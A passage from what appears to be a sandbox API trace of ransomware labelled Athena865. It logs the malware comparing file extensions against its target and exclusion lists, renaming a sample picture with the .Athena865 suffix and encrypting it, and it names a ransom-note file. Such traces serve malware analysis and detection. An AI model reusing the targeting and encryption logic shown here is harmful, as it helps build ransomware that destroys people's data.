lpString2="ib") returned 1 [0104.469] lstrlenW (lpString="idb") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1 [0104.469] lstrlenW (lpString="ihx") returned 3 [0104.469] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1 [0104.469] lstrlenW (lpString="itdb") returned 4 [0104.469] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1 [0104.470] lstrlenW (lpString="itw") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1 [0104.470] lstrlenW (lpString="jet") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1 [0104.470] lstrlenW (lpString="jtx") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1 [0104.470] lstrlenW (lpString="kdb") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1 [0104.470] lstrlenW (lpString="kexi") returned 4 [0104.470] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1 [0104.470] lstrlenW (lpString="kexic") returned 5 [0104.470] lstrcmpiW (lpString1="t.jpg", lpString2="kexic") returned 1 [0104.470] lstrlenW (lpString="kexis") returned 5 [0104.470] lstrcmpiW (lpString1="t.jpg", lpString2="kexis") returned 1 [0104.470] lstrlenW (lpString="lgc") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1 [0104.470] lstrlenW (lpString="lwx") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1 [0104.470] lstrlenW (lpString="maf") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1 [0104.470] lstrlenW (lpString="maq") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1 [0104.470] lstrlenW (lpString="mar") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1 [0104.470] lstrlenW (lpString="marshal") returned 7 [0104.470] lstrcmpiW (lpString1="ert.jpg", lpString2="marshal") returned -1 [0104.470] lstrlenW (lpString="mas") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1 [0104.470] lstrlenW (lpString="mav") returned 3 [0104.470] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1 [0104.470] lstrlenW (lpString="maw") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1 [0104.471] lstrlenW (lpString="mdbhtml") returned 7 [0104.471] lstrcmpiW (lpString1="ert.jpg", lpString2="mdbhtml") returned -1 [0104.471] lstrlenW (lpString="mdn") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1 [0104.471] lstrlenW (lpString="mdt") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1 [0104.471] lstrlenW (lpString="mfd") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1 [0104.471] lstrlenW (lpString="mpd") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1 [0104.471] lstrlenW (lpString="mrg") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1 [0104.471] lstrlenW (lpString="mud") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1 [0104.471] lstrlenW (lpString="mwb") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1 [0104.471] lstrlenW (lpString="myd") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1 [0104.471] lstrlenW (lpString="ndf") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1 [0104.471] lstrlenW (lpString="nnt") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1 [0104.471] lstrlenW (lpString="nrmlib") returned 6 [0104.471] lstrcmpiW (lpString1="rt.jpg", lpString2="nrmlib") returned 1 [0104.471] lstrlenW (lpString="ns2") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1 [0104.471] lstrlenW (lpString="ns3") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1 [0104.471] lstrlenW (lpString="ns4") returned 3 [0104.471] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1 [0104.471] lstrlenW (lpString="nsf") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1 [0104.472] lstrlenW (lpString="nv") returned 2 [0104.472] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1 [0104.472] lstrlenW (lpString="nv2") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1 [0104.472] lstrlenW (lpString="nwdb") returned 4 [0104.472] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1 [0104.472] lstrlenW (lpString="nyf") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1 [0104.472] lstrlenW (lpString="odb") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0104.472] lstrlenW (lpString="odb") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0104.472] lstrlenW (lpString="oqy") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1 [0104.472] lstrlenW (lpString="ora") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1 [0104.472] lstrlenW (lpString="orx") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1 [0104.472] lstrlenW (lpString="owc") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1 [0104.472] lstrlenW (lpString="p96") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1 [0104.472] lstrlenW (lpString="p97") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1 [0104.472] lstrlenW (lpString="pan") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1 [0104.472] lstrlenW (lpString="pdb") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1 [0104.472] lstrlenW (lpString="pdm") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1 [0104.472] lstrlenW (lpString="pnz") returned 3 [0104.472] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1 [0104.473] lstrlenW (lpString="qry") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1 [0104.473] lstrlenW (lpString="qvd") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1 [0104.473] lstrlenW (lpString="rbf") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1 [0104.473] lstrlenW (lpString="rctd") returned 4 [0104.473] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1 [0104.473] lstrlenW (lpString="rod") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1 [0104.473] lstrlenW (lpString="rodx") returned 4 [0104.473] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1 [0104.473] lstrlenW (lpString="rpd") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1 [0104.473] lstrlenW (lpString="rsd") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1 [0104.473] lstrlenW (lpString="sas7bdat") returned 8 [0104.473] lstrcmpiW (lpString1="sert.jpg", lpString2="sas7bdat") returned 1 [0104.473] lstrlenW (lpString="sbf") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1 [0104.473] lstrlenW (lpString="scx") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1 [0104.473] lstrlenW (lpString="sdb") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1 [0104.473] lstrlenW (lpString="sdc") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1 [0104.473] lstrlenW (lpString="sdf") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1 [0104.473] lstrlenW (lpString="sis") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1 [0104.473] lstrlenW (lpString="spq") returned 3 [0104.473] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1 [0104.473] lstrlenW (lpString="te") returned 2 [0104.473] lstrcmpiW (lpString1="pg", lpString2="te") returned -1 [0104.474] lstrlenW (lpString="teacher") returned 7 [0104.474] lstrcmpiW (lpString1="ert.jpg", lpString2="teacher") returned -1 [0104.474] lstrlenW (lpString="tmd") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1 [0104.474] lstrlenW (lpString="tps") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1 [0104.474] lstrlenW (lpString="trc") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0104.474] lstrlenW (lpString="trc") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0104.474] lstrlenW (lpString="trm") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1 [0104.474] lstrlenW (lpString="udb") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1 [0104.474] lstrlenW (lpString="udl") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1 [0104.474] lstrlenW (lpString="usr") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1 [0104.474] lstrlenW (lpString="v12") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1 [0104.474] lstrlenW (lpString="vis") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1 [0104.474] lstrlenW (lpString="vpd") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1 [0104.474] lstrlenW (lpString="vvv") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="vvv") returned -1 [0104.474] lstrlenW (lpString="wdb") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="wdb") returned -1 [0104.474] lstrlenW (lpString="wmdb") returned 4 [0104.474] lstrcmpiW (lpString1=".jpg", lpString2="wmdb") returned -1 [0104.474] lstrlenW (lpString="wrk") returned 3 [0104.474] lstrcmpiW (lpString1="jpg", lpString2="wrk") returned -1 [0104.475] lstrlenW (lpString="xdb") returned 3 [0104.475] lstrcmpiW (lpString1="jpg", lpString2="xdb") returned -1 [0104.475] lstrlenW (lpString="xld") returned 3 [0104.475] lstrcmpiW (lpString1="jpg", lpString2="xld") returned -1 [0104.475] lstrlenW (lpString="xmlff") returned 5 [0104.475] lstrcmpiW (lpString1="t.jpg", lpString2="xmlff") returned -1 [0104.475] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Desert.jpg.Athena865") returned 78 [0104.475] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Desert.jpg" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\desert.jpg"), lpNewFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Desert.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\desert.jpg.athena865"), dwFlags=0x1) returned 1 [0104.476] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\Pictures\\Sample Pictures\\Desert.jpg.Athena865" (normalized: "c:\\documents and settings\\public\\pictures\\sample pictures\\desert.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0104.476] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=845941) returned 1 [0104.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0104.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52dd68 [0104.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519dd8 [0104.476] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519d50) returned 1 [0104.477] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0104.477] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.477] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xceb80, lpName=0x0) returned 0x154 [0104.479] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xceb80) returned 0x2d50000 [0104.514] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519d50) returned 1 [0104.514] CryptGenRandom (in: hProv=0x519d50, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0104.514] CryptReleaseContext (hProv=0x519d50, dwFlags=0x0) returned 1 [0104.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d048 [0104.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d048 | out: hHeap=0x4f0000) returned 1 [0104.514] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x549d40 [0104.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0104.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0104.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x549d40 [0104.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0104.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x549d40 | out: hHeap=0x4f0000) returned 1 [0104.515] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0104.515] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0104.522] CloseHandle (hObject=0x154) returned 1 [0104.522] CloseHandle (hObject=0x17c) returned 1 [0104.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dd68 | out: hHeap=0x4f0000) returned 1 [0104.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519dd8 | out: hHeap=0x4f0000) returned 1 [0104.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0104.526] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0104.526] lstrlenW (lpString="desktop.ini") returned 11 [0104.526] lstrcpyW (in: lpString1=0x241e8bc, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0104.526] lstrlenW (lpString="desktop.ini") returned 11 [0104.526] lstrlenW (lpString="Athena865") returned 9 [0104.526] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0104.526] lstrlenW (lpString=".dll") returned 4 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0104.526] lstrlenW (lpString=".lnk") returned 4 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0104.526] lstrlenW (lpString=".ini") returned 4 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0104.526] lstrlenW (lpString=".sys") returned 4 [0104.526] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0104.526] lstrlenW (lpString="desktop.ini") returned 11 [0104.526] lstrlenW (lpString="bak") returned 3 [0104.526] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1 [0104.527] lstrlenW (lpString="ba_") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1 [0104.527] lstrlenW (lpString="dbb") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1 [0104.527] lstrlenW (lpString="vmdk") returned 4 [0104.527] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1 [0104.527] lstrlenW (lpString="rar") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0104.527] lstrlenW (lpString="zip") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0104.527] lstrlenW (lpString="tgz") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0104.527] lstrlenW (lpString="vbox") returned 4 [0104.527] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0104.527] lstrlenW (lpString="vdi") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0104.527] lstrlenW (lpString="vhd") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0104.527] lstrlenW (lpString="vhdx") returned 4 [0104.527] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0104.527] lstrlenW (lpString="avhd") returned 4 [0104.527] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0104.527] lstrlenW (lpString="db") returned 2 [0104.527] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0104.527] lstrlenW (lpString="db2") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0104.527] lstrlenW (lpString="db3") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0104.527] lstrlenW (lpString="dbf") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0104.527] lstrlenW (lpString="mdf") returned 3 [0104.527] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0104.527] lstrlenW (lpString="mdb") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0104.528] lstrlenW (lpString="sql") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0104.528] lstrlenW (lpString="sqlite") returned 6 [0104.528] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0104.528] lstrlenW (lpString="sqlite3") returned 7 [0104.528] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0104.528] lstrlenW (lpString="sqlitedb") returned 8 [0104.528] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0104.528] lstrlenW (lpString="xml") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0104.528] lstrlenW (lpString="$er") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0104.528] lstrlenW (lpString="4dd") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0104.528] lstrlenW (lpString="4dl") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0104.528] lstrlenW (lpString="^^^") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0104.528] lstrlenW (lpString="abs") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0104.528] lstrlenW (lpString="abx") returned 3 [0104.528] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0104.528] lstrlenW (lpString="accdb") returned 5 [0104.528] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0104.528] lstrlenW (lpString="accdc") returned 5 [0104.528] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0104.528] lstrlenW (lpString="accde") returned 5 [0104.528] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0104.528] lstrlenW (lpString="accdr") returned 5 [0104.528] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0104.528] lstrlenW (lpString="accdt") returned 5 [0104.528] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0104.529] lstrlenW (lpString="accdw") returned 5 [0104.529] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0104.529] lstrlenW (lpString="accft") returned 5 [0104.529] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0104.529] lstrlenW (lpString="adb") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0104.529] lstrlenW (lpString="adb") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0104.529] lstrlenW (lpString="ade") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0104.529] lstrlenW (lpString="adf") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0104.529] lstrlenW (lpString="adn") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0104.529] lstrlenW (lpString="adp") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0104.529] lstrlenW (lpString="alf") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0104.529] lstrlenW (lpString="ask") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0104.529] lstrlenW (lpString="btr") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0104.529] lstrlenW (lpString="cat") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0104.529] lstrlenW (lpString="cdb") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0104.529] lstrlenW (lpString="ckp") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0104.529] lstrlenW (lpString="cma") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0104.529] lstrlenW (lpString="cpd") returned 3 [0104.529] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0104.529] lstrlenW (lpString="dacpac") returned 6 [0104.530] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0104.530] lstrlenW (lpString="dad") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0104.530] lstrlenW (lpString="dadiagrams") returned 10 [0104.530] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0104.530] lstrlenW (lpString="daschema") returned 8 [0104.530] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0104.530] lstrlenW (lpString="db-journal") returned 10 [0104.530] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0104.530] lstrlenW (lpString="db-shm") returned 6 [0104.530] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0104.530] lstrlenW (lpString="db-wal") returned 6 [0104.530] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0104.530] lstrlenW (lpString="dbc") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0104.530] lstrlenW (lpString="dbs") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0104.530] lstrlenW (lpString="dbt") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0104.530] lstrlenW (lpString="dbv") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0104.530] lstrlenW (lpString="dbx") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0104.530] lstrlenW (lpString="dcb") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0104.530] lstrlenW (lpString="dct") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0104.530] lstrlenW (lpString="dcx") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0104.530] lstrlenW (lpString="ddl") returned 3 [0104.530] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0104.530] lstrlenW (lpString="dlis") returned 4 [0104.530] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0104.531] lstrlenW (lpString="dp1") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0104.531] lstrlenW (lpString="dqy") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0104.531] lstrlenW (lpString="dsk") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0104.531] lstrlenW (lpString="dsn") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0104.531] lstrlenW (lpString="dtsx") returned 4 [0104.531] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0104.531] lstrlenW (lpString="dxl") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0104.531] lstrlenW (lpString="eco") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0104.531] lstrlenW (lpString="ecx") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0104.531] lstrlenW (lpString="edb") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0104.531] lstrlenW (lpString="epim") returned 4 [0104.531] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0104.531] lstrlenW (lpString="fcd") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0104.531] lstrlenW (lpString="fdb") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0104.531] lstrlenW (lpString="fic") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0104.531] lstrlenW (lpString="flexolibrary") returned 12 [0104.531] lstrlenW (lpString="fm5") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0104.531] lstrlenW (lpString="fmp") returned 3 [0104.531] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0104.531] lstrlenW (lpString="fmp12") returned 5 [0104.531] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0104.532] lstrlenW (lpString="fmpsl") returned 5 [0104.532] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0104.532] lstrlenW (lpString="fol") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0104.532] lstrlenW (lpString="fp3") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0104.532] lstrlenW (lpString="fp4") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0104.532] lstrlenW (lpString="fp5") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0104.532] lstrlenW (lpString="fp7") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0104.532] lstrlenW (lpString="fpt") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0104.532] lstrlenW (lpString="frm") returned 3 [0104.532] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 